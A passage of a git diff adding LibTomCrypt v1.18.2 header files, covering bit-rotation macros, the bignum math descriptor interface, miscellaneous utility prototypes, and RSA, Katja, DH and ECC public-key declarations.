: \ + "=r" (__ROL64c_tmp) : \ + "0" (__ROL64c_tmp), \ + "J" (i)); \ + __ROL64c_tmp; \ + }) +#define ROR64c(word,i) ({ \ + ulong64 __ROR64c_tmp = word; \ + __asm__ ("rorq %2, %0" : \ + "=r" (__ROR64c_tmp) : \ + "0" (__ROR64c_tmp), \ + "J" (i)); \ + __ROR64c_tmp; \ + }) + +#else /* LTC_NO_ROLC */ + +#define ROL64c ROL64 +#define ROR64c ROR64 + +#endif + +#else /* Not x86_64 */ + +#define ROL64(x, y) \ + ( (((x)<<((ulong64)(y)&63)) | \ + (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROR64(x, y) \ + ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \ + ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROL64c(x, y) \ + ( (((x)<<((ulong64)(y)&63)) | \ + (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROR64c(x, y) \ + ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \ + ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#endif + +#ifndef MAX + #define MAX(x, y) ( ((x)>(y))?(x):(y) ) +#endif + +#ifndef MIN + #define MIN(x, y) ( ((x)<(y))?(x):(y) ) +#endif + +#ifndef LTC_UNUSED_PARAM + #define LTC_UNUSED_PARAM(x) (void)(x) +#endif + +/* extract a byte portably */ +#ifdef _MSC_VER + #define byte(x, n) ((unsigned char)((x) >> (8 * (n)))) +#else + #define byte(x, n) (((x) >> (8 * (n))) & 255) +#endif + +/* there is no snprintf before Visual C++ 2015 */ +#if defined(_MSC_VER) && _MSC_VER < 1900 +#define snprintf _snprintf +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_math.h b/include/tomcrypt_math.h new file mode 100644 index 0000000..137e451 --- /dev/null +++ b/include/tomcrypt_math.h @@ -0,0 +1,583 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/** math functions **/ + +#define LTC_MP_LT -1 +#define LTC_MP_EQ 0 +#define LTC_MP_GT 1 + +#define LTC_MP_NO 0 +#define LTC_MP_YES 1 + +#ifndef LTC_MECC + typedef void ecc_point; +#endif + +#ifndef LTC_MRSA + typedef void rsa_key; +#endif + +#ifndef LTC_MILLER_RABIN_REPS + /* Number of rounds of the Miller-Rabin test + * "Reasonable values of reps are between 15 and 50." c.f. gmp doc of mpz_probab_prime_p() + * As of https://security.stackexchange.com/a/4546 we should use 40 rounds */ + #define LTC_MILLER_RABIN_REPS 40 +#endif + +int radix_to_bin(const void *in, int radix, void *out, unsigned long *len); + +/** math descriptor */ +typedef struct { + /** Name of the math provider */ + const char *name; + + /** Bits per digit, amount of bits must fit in an unsigned long */ + int bits_per_digit; + +/* ---- init/deinit functions ---- */ + + /** initialize a bignum + @param a The number to initialize + @return CRYPT_OK on success + */ + int (*init)(void **a); + + /** init copy + @param dst The number to initialize and write to + @param src The number to copy from + @return CRYPT_OK on success + */ + int (*init_copy)(void **dst, void *src); + + /** deinit + @param a The number to free + @return CRYPT_OK on success + */ + void (*deinit)(void *a); + +/* ---- data movement ---- */ + + /** negate + @param src The number to negate + @param dst The destination + @return CRYPT_OK on success + */ + int (*neg)(void *src, void *dst); + + /** copy + @param src The number to copy from + @param dst The number to write to + @return CRYPT_OK on success + */ + int (*copy)(void *src, void *dst); + +/* ---- trivial low level functions ---- */ + + /** set small constant + @param a Number to write to + @param n Source upto bits_per_digit (actually meant for very small constants) + @return CRYPT_OK on success + */ + int (*set_int)(void *a, ltc_mp_digit n); + + /** get small constant + @param a Small number to read, + only fetches up to bits_per_digit from the number + @return The lower bits_per_digit of the integer (unsigned) + */ + unsigned long (*get_int)(void *a); + + /** get digit n + @param a The number to read from + @param n The number of the digit to fetch + @return The bits_per_digit sized n'th digit of a + */ + ltc_mp_digit (*get_digit)(void *a, int n); + + /** Get the number of digits that represent the number + @param a The number to count + @return The number of digits used to represent the number + */ + int (*get_digit_count)(void *a); + + /** compare two integers + @param a The left side integer + @param b The right side integer + @return LTC_MP_LT if a < b, + LTC_MP_GT if a > b and + LTC_MP_EQ otherwise. (signed comparison) + */ + int (*compare)(void *a, void *b); + + /** compare against int + @param a The left side integer + @param b The right side integer (upto bits_per_digit) + @return LTC_MP_LT if a < b, + LTC_MP_GT if a > b and + LTC_MP_EQ otherwise. (signed comparison) + */ + int (*compare_d)(void *a, ltc_mp_digit n); + + /** Count the number of bits used to represent the integer + @param a The integer to count + @return The number of bits required to represent the integer + */ + int (*count_bits)(void * a); + + /** Count the number of LSB bits which are zero + @param a The integer to count + @return The number of contiguous zero LSB bits + */ + int (*count_lsb_bits)(void *a); + + /** Compute a power of two + @param a The integer to store the power in + @param n The power of two you want to store (a = 2^n) + @return CRYPT_OK on success + */ + int (*twoexpt)(void *a , int n); + +/* ---- radix conversions ---- */ + + /** read ascii string + @param a The integer to store into + @param str The string to read + @param radix The radix the integer has been represented in (2-64) + @return CRYPT_OK on success + */ + int (*read_radix)(void *a, const char *str, int radix); + + /** write number to string + @param a The integer to store + @param str The destination for the string + @param radix The radix the integer is to be represented in (2-64) + @return CRYPT_OK on success + */ + int (*write_radix)(void *a, char *str, int radix); + + /** get size as unsigned char string + @param a The integer to get the size (when stored in array of octets) + @return The length of the integer in octets + */ + unsigned long (*unsigned_size)(void *a); + + /** store an integer as an array of octets + @param src The integer to store + @param dst The buffer to store the integer in + @return CRYPT_OK on success + */ + int (*unsigned_write)(void *src, unsigned char *dst); + + /** read an array of octets and store as integer + @param dst The integer to load + @param src The array of octets + @param len The number of octets + @return CRYPT_OK on success + */ + int (*unsigned_read)( void *dst, + unsigned char *src, + unsigned long len); + +/* ---- basic math ---- */ + + /** add two integers + @param a The first source integer + @param b The second source integer + @param c The destination of "a + b" + @return CRYPT_OK on success + */ + int (*add)(void *a, void *b, void *c); + + /** add two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a + b" + @return CRYPT_OK on success + */ + int (*addi)(void *a, ltc_mp_digit b, void *c); + + /** subtract two integers + @param a The first source integer + @param b The second source integer + @param c The destination of "a - b" + @return CRYPT_OK on success + */ + int (*sub)(void *a, void *b, void *c); + + /** subtract two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a - b" + @return CRYPT_OK on success + */ + int (*subi)(void *a, ltc_mp_digit b, void *c); + + /** multiply two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a * b" + @return CRYPT_OK on success + */ + int (*mul)(void *a, void *b, void *c); + + /** multiply two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a * b" + @return CRYPT_OK on success + */ + int (*muli)(void *a, ltc_mp_digit b, void *c); + + /** Square an integer + @param a The integer to square + @param b The destination + @return CRYPT_OK on success + */ + int (*sqr)(void *a, void *b); + + /** Divide an integer + @param a The dividend + @param b The divisor + @param c The quotient (can be NULL to signify don't care) + @param d The remainder (can be NULL to signify don't care) + @return CRYPT_OK on success + */ + int (*mpdiv)(void *a, void *b, void *c, void *d); + + /** divide by two + @param a The integer to divide (shift right) + @param b The destination + @return CRYPT_OK on success + */ + int (*div_2)(void *a, void *b); + + /** Get remainder (small value) + @param a The integer to reduce + @param b The modulus (upto bits_per_digit in length) + @param c The destination for the residue + @return CRYPT_OK on success + */ + int (*modi)(void *a, ltc_mp_digit b, ltc_mp_digit *c); + + /** gcd + @param a The first integer + @param b The second integer + @param c The destination for (a, b) + @return CRYPT_OK on success + */ + int (*gcd)(void *a, void *b, void *c); + + /** lcm + @param a The first integer + @param b The second integer + @param c The destination for [a, b] + @return CRYPT_OK on success + */ + int (*lcm)(void *a, void *b, void *c); + + /** Modular multiplication + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a*b mod c) + @return CRYPT_OK on success + */ + int (*mulmod)(void *a, void *b, void *c, void *d); + + /** Modular squaring + @param a The first source + @param b The modulus + @param c The destination (a*a mod b) + @return CRYPT_OK on success + */ + int (*sqrmod)(void *a, void *b, void *c); + + /** Modular inversion + @param a The value to invert + @param b The modulus + @param c The destination (1/a mod b) + @return CRYPT_OK on success + */ + int (*invmod)(void *, void *, void *); + +/* ---- reduction ---- */ + + /** setup Montgomery + @param a The modulus + @param b The destination for the reduction digit + @return CRYPT_OK on success + */ + int (*montgomery_setup)(void *a, void **b); + + /** get normalization value + @param a The destination for the normalization value + @param b The modulus + @return CRYPT_OK on success + */ + int (*montgomery_normalization)(void *a, void *b); + + /** reduce a number + @param a The number [and dest] to reduce + @param b The modulus + @param c The value "b" from montgomery_setup() + @return CRYPT_OK on success + */ + int (*montgomery_reduce)(void *a, void *b, void *c); + + /** clean up (frees memory) + @param a The value "b" from montgomery_setup() + @return CRYPT_OK on success + */ + void (*montgomery_deinit)(void *a); + +/* ---- exponentiation ---- */ + + /** Modular exponentiation + @param a The base integer + @param b The power (can be negative) integer + @param c The modulus integer + @param d The destination + @return CRYPT_OK on success + */ + int (*exptmod)(void *a, void *b, void *c, void *d); + + /** Primality testing + @param a The integer to test + @param b The number of Miller-Rabin tests that shall be executed + @param c The destination of the result (FP_YES if prime) + @return CRYPT_OK on success + */ + int (*isprime)(void *a, int b, int *c); + +/* ---- (optional) ecc point math ---- */ + + /** ECC GF(p) point multiplication (from the NIST curves) + @param k The integer to multiply the point by + @param G The point to multiply + @param R The destination for kG + @param modulus The modulus for the field + @param map Boolean indicated whether to map back to affine or not + (can be ignored if you work in affine only) + @return CRYPT_OK on success + */ + int (*ecc_ptmul)( void *k, + ecc_point *G, + ecc_point *R, + void *modulus, + int map); + + /** ECC GF(p) point addition + @param P The first point + @param Q The second point + @param R The destination of P + Q + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + */ + int (*ecc_ptadd)(ecc_point *P, + ecc_point *Q, + ecc_point *R, + void *modulus, + void *mp); + + /** ECC GF(p) point double + @param P The first point + @param R The destination of 2P + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + */ + int (*ecc_ptdbl)(ecc_point *P, + ecc_point *R, + void *modulus, + void *mp); + + /** ECC mapping from projective to affine, + currently uses (x,y,z) => (x/z^2, y/z^3, 1) + @param P The point to map + @param modulus The modulus + @param mp The "b" value from montgomery_setup() + @return CRYPT_OK on success + @remark The mapping can be different but keep in mind a + ecc_point only has three integers (x,y,z) so if + you use a different mapping you have to make it fit. + */ + int (*ecc_map)(ecc_point *P, void *modulus, void *mp); + + /** Computes kA*A + kB*B = C using Shamir's Trick + @param A First point to multiply + @param kA What to multiple A by + @param B Second point to multiply + @param kB What to multiple B by + @param C [out] Destination point (can overlap with A or B) + @param modulus Modulus for curve + @return CRYPT_OK on success + */ + int (*ecc_mul2add)(ecc_point *A, void *kA, + ecc_point *B, void *kB, + ecc_point *C, + void *modulus); + +/* ---- (optional) rsa optimized math (for internal CRT) ---- */ + + /** RSA Key Generation + @param prng An active PRNG state + @param wprng The index of the PRNG desired + @param size The size of the key in octets + @param e The "e" value (public key). + e==65537 is a good choice + @param key [out] Destination of a newly created private key pair + @return CRYPT_OK if successful, upon error all allocated ram is freed + */ + int (*rsa_keygen)(prng_state *prng, + int wprng, + int size, + long e, + rsa_key *key); + + /** RSA exponentiation + @param in The octet array representing the base + @param inlen The length of the input + @param out The destination (to be stored in an octet array format) + @param outlen The length of the output buffer and the resulting size + (zero padded to the size of the modulus) + @param which PK_PUBLIC for public RSA and PK_PRIVATE for private RSA + @param key The RSA key to use + @return CRYPT_OK on success + */ + int (*rsa_me)(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + rsa_key *key); + +/* ---- basic math continued ---- */ + + /** Modular addition + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a + b mod c) + @return CRYPT_OK on success + */ + int (*addmod)(void *a, void *b, void *c, void *d); + + /** Modular substraction + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a - b mod c) + @return CRYPT_OK on success + */ + int (*submod)(void *a, void *b, void *c, void *d); + +/* ---- misc stuff ---- */ + + /** Make a pseudo-random mpi + @param a The mpi to make random + @param size The desired length + @return CRYPT_OK on success + */ + int (*rand)(void *a, int size); +} ltc_math_descriptor; + +extern ltc_math_descriptor ltc_mp; + +int ltc_init_multi(void **a, ...); +void ltc_deinit_multi(void *a, ...); +void ltc_cleanup_multi(void **a, ...); + +#ifdef LTM_DESC +extern const ltc_math_descriptor ltm_desc; +#endif + +#ifdef TFM_DESC +extern const ltc_math_descriptor tfm_desc; +#endif + +#ifdef GMP_DESC +extern const ltc_math_descriptor gmp_desc; +#endif + +#if !defined(DESC_DEF_ONLY) && defined(LTC_SOURCE) + +#define MP_DIGIT_BIT ltc_mp.bits_per_digit + +/* some handy macros */ +#define mp_init(a) ltc_mp.init(a) +#define mp_init_multi ltc_init_multi +#define mp_clear(a) ltc_mp.deinit(a) +#define mp_clear_multi ltc_deinit_multi +#define mp_cleanup_multi ltc_cleanup_multi +#define mp_init_copy(a, b) ltc_mp.init_copy(a, b) + +#define mp_neg(a, b) ltc_mp.neg(a, b) +#define mp_copy(a, b) ltc_mp.copy(a, b) + +#define mp_set(a, b) ltc_mp.set_int(a, b) +#define mp_set_int(a, b) ltc_mp.set_int(a, b) +#define mp_get_int(a) ltc_mp.get_int(a) +#define mp_get_digit(a, n) ltc_mp.get_digit(a, n) +#define mp_get_digit_count(a) ltc_mp.get_digit_count(a) +#define mp_cmp(a, b) ltc_mp.compare(a, b) +#define mp_cmp_d(a, b) ltc_mp.compare_d(a, b) +#define mp_count_bits(a) ltc_mp.count_bits(a) +#define mp_cnt_lsb(a) ltc_mp.count_lsb_bits(a) +#define mp_2expt(a, b) ltc_mp.twoexpt(a, b) + +#define mp_read_radix(a, b, c) ltc_mp.read_radix(a, b, c) +#define mp_toradix(a, b, c) ltc_mp.write_radix(a, b, c) +#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) +#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) +#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) + +#define mp_add(a, b, c) ltc_mp.add(a, b, c) +#define mp_add_d(a, b, c) ltc_mp.addi(a, b, c) +#define mp_sub(a, b, c) ltc_mp.sub(a, b, c) +#define mp_sub_d(a, b, c) ltc_mp.subi(a, b, c) +#define mp_mul(a, b, c) ltc_mp.mul(a, b, c) +#define mp_mul_d(a, b, c) ltc_mp.muli(a, b, c) +#define mp_sqr(a, b) ltc_mp.sqr(a, b) +#define mp_div(a, b, c, d) ltc_mp.mpdiv(a, b, c, d) +#define mp_div_2(a, b) ltc_mp.div_2(a, b) +#define mp_mod(a, b, c) ltc_mp.mpdiv(a, b, NULL, c) +#define mp_mod_d(a, b, c) ltc_mp.modi(a, b, c) +#define mp_gcd(a, b, c) ltc_mp.gcd(a, b, c) +#define mp_lcm(a, b, c) ltc_mp.lcm(a, b, c) + +#define mp_addmod(a, b, c, d) ltc_mp.addmod(a, b, c, d) +#define mp_submod(a, b, c, d) ltc_mp.submod(a, b, c, d) +#define mp_mulmod(a, b, c, d) ltc_mp.mulmod(a, b, c, d) +#define mp_sqrmod(a, b, c) ltc_mp.sqrmod(a, b, c) +#define mp_invmod(a, b, c) ltc_mp.invmod(a, b, c) + +#define mp_montgomery_setup(a, b) ltc_mp.montgomery_setup(a, b) +#define mp_montgomery_normalization(a, b) ltc_mp.montgomery_normalization(a, b) +#define mp_montgomery_reduce(a, b, c) ltc_mp.montgomery_reduce(a, b, c) +#define mp_montgomery_free(a) ltc_mp.montgomery_deinit(a) + +#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) +#define mp_prime_is_prime(a, b, c) ltc_mp.isprime(a, b, c) + +#define mp_iszero(a) (mp_cmp_d(a, 0) == LTC_MP_EQ ? LTC_MP_YES : LTC_MP_NO) +#define mp_isodd(a) (mp_get_digit_count(a) > 0 ? (mp_get_digit(a, 0) & 1 ? LTC_MP_YES : LTC_MP_NO) : LTC_MP_NO) +#define mp_exch(a, b) do { void *ABC__tmp = a; a = b; b = ABC__tmp; } while(0) + +#define mp_tohex(a, b) mp_toradix(a, b, 16) + +#define mp_rand(a, b) ltc_mp.rand(a, b) + +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_misc.h b/include/tomcrypt_misc.h new file mode 100644 index 0000000..2460d66 --- /dev/null +++ b/include/tomcrypt_misc.h @@ -0,0 +1,113 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- LTC_BASE64 Routines ---- */ +#ifdef LTC_BASE64 +int base64_encode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); + +int base64_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64_strict_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_BASE64_URL +int base64url_encode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64url_strict_encode(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int base64url_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +int base64url_strict_decode(const unsigned char *in, unsigned long len, + unsigned char *out, unsigned long *outlen); +#endif + +/* ===> LTC_HKDF -- RFC5869 HMAC-based Key Derivation Function <=== */ +#ifdef LTC_HKDF + +int hkdf_test(void); + +int hkdf_extract(int hash_idx, + const unsigned char *salt, unsigned long saltlen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int hkdf_expand(int hash_idx, + const unsigned char *info, unsigned long infolen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long outlen); + +int hkdf(int hash_idx, + const unsigned char *salt, unsigned long saltlen, + const unsigned char *info, unsigned long infolen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long outlen); + +#endif /* LTC_HKDF */ + +/* ---- MEM routines ---- */ +int mem_neq(const void *a, const void *b, size_t len); +void zeromem(volatile void *dst, size_t len); +void burn_stack(unsigned long len); + +const char *error_to_string(int err); + +extern const char *crypt_build_settings; + +/* ---- HMM ---- */ +int crypt_fsa(void *mp, ...); + +/* ---- Dynamic language support ---- */ +int crypt_get_constant(const char* namein, int *valueout); +int crypt_list_all_constants(char *names_list, unsigned int *names_list_size); + +int crypt_get_size(const char* namein, unsigned int *sizeout); +int crypt_list_all_sizes(char *names_list, unsigned int *names_list_size); + +#ifdef LTM_DESC +void init_LTM(void); +#endif +#ifdef TFM_DESC +void init_TFM(void); +#endif +#ifdef GMP_DESC +void init_GMP(void); +#endif + +#ifdef LTC_ADLER32 +typedef struct adler32_state_s +{ + unsigned short s[2]; +} adler32_state; + +void adler32_init(adler32_state *ctx); +void adler32_update(adler32_state *ctx, const unsigned char *input, unsigned long length); +void adler32_finish(adler32_state *ctx, void *hash, unsigned long size); +int adler32_test(void); +#endif + +#ifdef LTC_CRC32 +typedef struct crc32_state_s +{ + ulong32 crc; +} crc32_state; + +void crc32_init(crc32_state *ctx); +void crc32_update(crc32_state *ctx, const unsigned char *input, unsigned long length); +void crc32_finish(crc32_state *ctx, void *hash, unsigned long size); +int crc32_test(void); +#endif + +int compare_testvector(const void* is, const unsigned long is_len, const void* should, const unsigned long should_len, const char* what, int which); + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_pk.h b/include/tomcrypt_pk.h new file mode 100644 index 0000000..4306bc3 --- /dev/null +++ b/include/tomcrypt_pk.h @@ -0,0 +1,747 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- NUMBER THEORY ---- */ + +enum { + PK_PUBLIC=0, + PK_PRIVATE=1 +}; + +/* Indicates standard output formats that can be read e.g. by OpenSSL or GnuTLS */ +#define PK_STD 0x1000 + +int rand_prime(void *N, long len, prng_state *prng, int wprng); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int rand_bn_bits(void *N, int bits, prng_state *prng, int wprng); +int rand_bn_upto(void *N, void *limit, prng_state *prng, int wprng); + +enum public_key_algorithms { + PKA_RSA, + PKA_DSA +}; + +typedef struct Oid { + unsigned long OID[16]; + /** Number of OID digits in use */ + unsigned long OIDlen; +} oid_st; + +int pk_get_oid(int pk, oid_st *st); +#endif /* LTC_SOURCE */ + +/* ---- RSA ---- */ +#ifdef LTC_MRSA + +/** RSA PKCS style key */ +typedef struct Rsa_key { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + /** The public exponent */ + void *e; + /** The private exponent */ + void *d; + /** The modulus */ + void *N; + /** The p factor of N */ + void *p; + /** The q factor of N */ + void *q; + /** The 1/q mod p CRT param */ + void *qP; + /** The d mod (p - 1) CRT param */ + void *dP; + /** The d mod (q - 1) CRT param */ + void *dQ; +} rsa_key; + +int rsa_make_key(prng_state *prng, int wprng, int size, long e, rsa_key *key); + +int rsa_get_size(rsa_key *key); + +int rsa_exptmod(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + rsa_key *key); + +void rsa_free(rsa_key *key); + +/* These use PKCS #1 v2.0 padding */ +#define rsa_encrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, _key) \ + rsa_encrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _prng, _prng_idx, _hash_idx, LTC_PKCS_1_OAEP, _key) + +#define rsa_decrypt_key(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, _stat, _key) \ + rsa_decrypt_key_ex(_in, _inlen, _out, _outlen, _lparam, _lparamlen, _hash_idx, LTC_PKCS_1_OAEP, _stat, _key) + +#define rsa_sign_hash(_in, _inlen, _out, _outlen, _prng, _prng_idx, _hash_idx, _saltlen, _key) \ + rsa_sign_hash_ex(_in, _inlen, _out, _outlen, LTC_PKCS_1_PSS, _prng, _prng_idx, _hash_idx, _saltlen, _key) + +#define rsa_verify_hash(_sig, _siglen, _hash, _hashlen, _hash_idx, _saltlen, _stat, _key) \ + rsa_verify_hash_ex(_sig, _siglen, _hash, _hashlen, LTC_PKCS_1_PSS, _hash_idx, _saltlen, _stat, _key) + +#define rsa_sign_saltlen_get_max(_hash_idx, _key) \ + rsa_sign_saltlen_get_max_ex(LTC_PKCS_1_PSS, _hash_idx, _key) + +/* These can be switched between PKCS #1 v2.x and PKCS #1 v1.5 paddings */ +int rsa_encrypt_key_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + prng_state *prng, int prng_idx, int hash_idx, int padding, rsa_key *key); + +int rsa_decrypt_key_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + int hash_idx, int padding, + int *stat, rsa_key *key); + +int rsa_sign_hash_ex(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + int padding, + prng_state *prng, int prng_idx, + int hash_idx, unsigned long saltlen, + rsa_key *key); + +int rsa_verify_hash_ex(const unsigned char *sig, unsigned long siglen, + const unsigned char *hash, unsigned long hashlen, + int padding, + int hash_idx, unsigned long saltlen, + int *stat, rsa_key *key); + +int rsa_sign_saltlen_get_max_ex(int padding, int hash_idx, rsa_key *key); + +/* PKCS #1 import/export */ +int rsa_export(unsigned char *out, unsigned long *outlen, int type, rsa_key *key); +int rsa_import(const unsigned char *in, unsigned long inlen, rsa_key *key); + +int rsa_import_x509(const unsigned char *in, unsigned long inlen, rsa_key *key); +int rsa_import_pkcs8(const unsigned char *in, unsigned long inlen, + const void *passwd, unsigned long passwdlen, rsa_key *key); + +int rsa_set_key(const unsigned char *N, unsigned long Nlen, + const unsigned char *e, unsigned long elen, + const unsigned char *d, unsigned long dlen, + rsa_key *key); +int rsa_set_factors(const unsigned char *p, unsigned long plen, + const unsigned char *q, unsigned long qlen, + rsa_key *key); +int rsa_set_crt_params(const unsigned char *dP, unsigned long dPlen, + const unsigned char *dQ, unsigned long dQlen, + const unsigned char *qP, unsigned long qPlen, + rsa_key *key); +#endif + +/* ---- Katja ---- */ +#ifdef LTC_MKAT + +/* Min and Max KAT key sizes (in bits) */ +#define MIN_KAT_SIZE 1024 +#define MAX_KAT_SIZE 4096 + +/** Katja PKCS style key */ +typedef struct KAT_key { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + /** The private exponent */ + void *d; + /** The modulus */ + void *N; + /** The p factor of N */ + void *p; + /** The q factor of N */ + void *q; + /** The 1/q mod p CRT param */ + void *qP; + /** The d mod (p - 1) CRT param */ + void *dP; + /** The d mod (q - 1) CRT param */ + void *dQ; + /** The pq param */ + void *pq; +} katja_key; + +int katja_make_key(prng_state *prng, int wprng, int size, katja_key *key); + +int katja_exptmod(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, int which, + katja_key *key); + +void katja_free(katja_key *key); + +/* These use PKCS #1 v2.0 padding */ +int katja_encrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + prng_state *prng, int prng_idx, int hash_idx, katja_key *key); + +int katja_decrypt_key(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen, + const unsigned char *lparam, unsigned long lparamlen, + int hash_idx, int *stat, + katja_key *key); + +/* PKCS #1 import/export */ +int katja_export(unsigned char *out, unsigned long *outlen, int type, katja_key *key); +int katja_import(const unsigned char *in, unsigned long inlen, katja_key *key); + +#endif + +/* ---- DH Routines ---- */ +#ifdef LTC_MDH + +typedef struct { + int type; + void *x; + void *y; + void *base; + void *prime; +} dh_key; + +int dh_get_groupsize(dh_key *key); + +int dh_export(unsigned char *out, unsigned long *outlen, int type, dh_key *key); +int dh_import(const unsigned char *in, unsigned long inlen, dh_key *key); + +int dh_set_pg(const unsigned char *p, unsigned long plen, + const unsigned char *g, unsigned long glen, + dh_key *key); +int dh_set_pg_dhparam(const unsigned char *dhparam, unsigned long dhparamlen, dh_key *key); +int dh_set_pg_groupsize(int groupsize, dh_key *key); + +int dh_set_key(const unsigned char *in, unsigned long inlen, int type, dh_key *key); +int dh_generate_key(prng_state *prng, int wprng, dh_key *key); + +int dh_shared_secret(dh_key *private_key, dh_key *public_key, + unsigned char *out, unsigned long *outlen); + +void dh_free(dh_key *key); + +int dh_export_key(void *out, unsigned long *outlen, int type, dh_key *key); + +#ifdef LTC_SOURCE +typedef struct { + int size; + const char *name, *base, *prime; +} ltc_dh_set_type; + +extern const ltc_dh_set_type ltc_dh_sets[]; + +/* internal helper functions */ +int dh_check_pubkey(dh_key *key); +#endif + +#endif /* LTC_MDH */ + + +/* ---- ECC Routines ---- */ +#ifdef LTC_MECC + +/* size of our temp buffers for exported keys */ +#define ECC_BUF_SIZE 256 + +/* max private key size */ +#define ECC_MAXSIZE 66 + +/** Structure defines a NIST GF(p) curve */ +typedef struct { + /** The size of the curve in octets */ + int size; + + /** name of curve */ + const char *name; + + /** The prime that defines the field the curve is in (encoded in hex) */ + const char *prime; + + /** The fields B param (hex) */ + const char *B; + + /** The order of the curve (hex) */ + const char *order; + + /** The x co-ordinate of the base point on the curve (hex) */ + const char *Gx; + + /** The y co-ordinate of the base point on the curve (hex) */ + const char *Gy; +} ltc_ecc_set_type; + +/** A point on a ECC curve, stored in Jacbobian format such that (x,y,z) => (x/z^2, y/z^3, 1) when interpretted as affine */ +typedef struct { + /** The x co-ordinate */ + void *x; + + /** The y co-ordinate */ + void *y; + + /** The z co-ordinate */ + void *z; +} ecc_point; + +/** An ECC key */ +typedef struct { + /** Type of key, PK_PRIVATE or PK_PUBLIC */ + int type; + + /** Index into the ltc_ecc_sets[] for the parameters of this curve; if -1, then this key is using user supplied curve in dp */ + int idx; + + /** pointer to domain parameters; either points to NIST curves (identified by idx >= 0) or user supplied curve */ + const ltc_ecc_set_type *dp; + + /** The public key */ + ecc_point pubkey; + + /** The private key */ + void *k; +} ecc_key; + +/** the ECC params provided */ +extern const ltc_ecc_set_type ltc_ecc_sets[]; + +int ecc_test(void); +void ecc_sizes(int *low, int *high); +int ecc_get_size(ecc_key *key); + +int ecc_make_key(prng_state *prng, int wprng, int keysize, ecc_key *key); +int ecc_make_key_ex(prng_state *prng, int wprng, ecc_key *key, const ltc_ecc_set_type *dp); +void ecc_free(ecc_key *key); + +int ecc_export(unsigned char *out, unsigned long *outlen, int type, ecc_key *key); +int ecc_import(const unsigned char 